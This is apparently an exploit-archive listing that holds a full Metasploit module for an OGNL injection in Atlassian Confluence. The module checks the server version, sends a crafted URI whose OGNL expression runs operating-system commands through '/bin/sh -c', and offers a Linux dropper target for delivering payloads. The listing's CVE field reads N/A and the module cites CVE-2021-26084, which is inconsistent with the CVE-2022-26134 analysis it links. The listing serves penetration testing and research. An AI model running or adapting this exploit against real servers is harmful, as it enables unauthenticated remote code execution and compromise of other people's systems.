Atlassian Confluence Namespace OGNL Injection

2022.06.12
Credit: unknown
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Atlassian Confluence Namespace OGNL Injection', 'Description' => %q{ This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to evaluate an OGNL expression resulting in OS command execution. }, 'Author' => [ 'Unknown', # exploited in the wild 'bturner-r7', 'jbaines-r7', 'Spencer McIntyre' ], 'References' => [ ['CVE', '2021-26084'], ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'], ['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'], ['URL', 'https://github.com/jbaines-r7/through_the_wire'], ['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis'] ], 'DisclosureDate' => '2022-06-02', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8090 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check version = get_confluence_version return CheckCode::Unknown unless version vprint_status("Detected Confluence version: #{version}") header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}" res = inject_ognl('', header: header) # empty command works for testing, the header will be set return CheckCode::Unknown unless res unless res && res.headers.include?(header) return CheckCode::Safe('Failed to test OGNL injection.') end CheckCode::Vulnerable('Successfully tested OGNL injection.') end def get_confluence_version return @confluence_version if @confluence_version res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.action') ) return nil unless res&.code == 200 poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/ @confluence_version = Rex::Version.new(Regexp.last_match(1)) @confluence_version end def exploit print_status("Executing #{payload_instance.refname} (#{target.name})") case target['Type'] when :cmd execute_command(payload.encoded) when :dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}" res = inject_ognl(cmd, header: header) unless res && res.headers.include?(header) fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}") end vprint_good("Successfully executed command: #{cmd}") res.headers[header] end def inject_ognl(cmd, header:) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'), 'headers' => { header => cmd } ) end def ognl_payload(_cmd, header:) <<~OGNL.gsub(/^\s+/, '').tr("\n", '') ${ Class.forName("com.opensymphony.webwork.ServletActionContext") .getMethod("getResponse",null) .invoke(null,null) .setHeader("#{header}", Class.forName("javax.script.ScriptEngineManager") .newInstance() .getEngineByName("js") .eval("java.lang.Runtime.getRuntime().exec([ #{target['Platform'] == 'win' ? "'cmd.exe','/c'" : "'/bin/sh','-c'"}, com.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}') ]); '#{Faker::Internet.uuid}'") ) } OGNL end end


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